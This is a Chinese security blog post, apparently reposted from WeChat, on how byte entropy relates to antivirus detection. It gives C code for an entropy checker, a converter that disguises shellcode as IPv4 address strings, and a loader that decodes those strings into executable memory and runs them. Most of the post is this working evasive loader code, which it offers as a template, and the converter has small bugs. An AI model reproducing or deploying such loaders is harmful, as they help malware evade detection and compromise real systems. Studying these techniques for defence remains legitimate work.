0x01 前言
最近会更新添加loader模板,点点star兄弟们。
0x02 代码
2.1 熵值Check
double calculate_entropy(const char *file_path) {
FILE *file = fopen(file_path, "rb");
if (!file) {
perror("Error opening file");
exit(EXIT_FAILURE);
}
// 初始化字节计数数组
int byte_count[256] = { 0 };
int total_bytes = 0;
int byte;
// 读取文件并统计每个字节的出现次数
while ((byte = fgetc(file)) != EOF) {
byte_count[byte]++;
total_bytes++;
}
// 计算熵值
double entropy = 0.0;
for (int i = 0; i < 256; i++) {
if (byte_count[i] > 0) {
double probability = (double)byte_count[i] / total_bytes;
entropy -= probability * log2(probability);
}
}
fclose(file);
return entropy;
}
int main(int argc, char *argv[]) {
if (argc != 2) {
fprintf(stderr, "Usage: %s <file_path>n", argv[0]);
return EXIT_FAILURE;
}
const char *file_path = argv[1];
double entropy = calculate_entropy(file_path);
printf("Entropy of %s: %lf bitsn", file_path, entropy);
return EXIT_SUCCESS;
}
2.2 Shellcode to IPv4
int main(int argc, char *argv[]) {
FILE *fp = fopen(argv[1], "rb");
if (fp == NULL) {
perror("Error opening file");
return 1;
}
printf("const char* IPv4s[] =n");
printf(" {n");
uint32_t chunk;
while (fread(&chunk, sizeof(uint32_t), 1, fp) == 1) {
printf(" "%d.%d.%d.%d",n", (chunk & 0xFF), ((chunk >> 8) & 0xFF), ((chunk >> 16) & 0xFF), ((chunk >> 24) & 0xFF));
}
printf(" };n");
fclose(f);
return 0;
2.3 IPv4 to Shellcode加载器
c++
// 声明 DecodeIPv4Fuscation 函数
void DecodeIPv4Fuscation(const char* IPV4[], PVOID LpBaseAddress, int count);
int main() {
const char* IPv4s[] = {
//这里放置shellcode to ipv4后的数据
"252.232.137.0",
"0.0.96.137",
"229.49.210.100",
};
void* exec = VirtualAlloc(0, 0x1000, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
int init = sizeof(IPv4s) / sizeof(IPv4s[0]);
DecodeIPv4Fuscation(IPv4s, exec, init);
// for (int i = 0; i < init * 4; i++) {
// printf("%02X", ((unsigned char*)exec)[i]);
//}
//
((void(*)())exec)();
VirtualFree(exec, 0, MEM_RELEASE);
return 0;
}
void DecodeIPv4Fuscation(const char* ipv4Addresses[], PVOID baseAddress, int count) {
PCSTR terminator = NULL;
DWORD_PTR pointer = (DWORD_PTR)baseAddress;
NTSTATUS status;
for (int i = 0; i < count; i++) {
status = RtlIpv4StringToAddressA((PCSTR)ipv4Addresses[i], FALSE, &terminator, (in_addr*)pointer);
if (!NT_SUCCESS(status)) {
return;
}
pointer += 4;
}
}
原文始发于微信公众号(小黑说安全):熵-shellcode to xxx
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论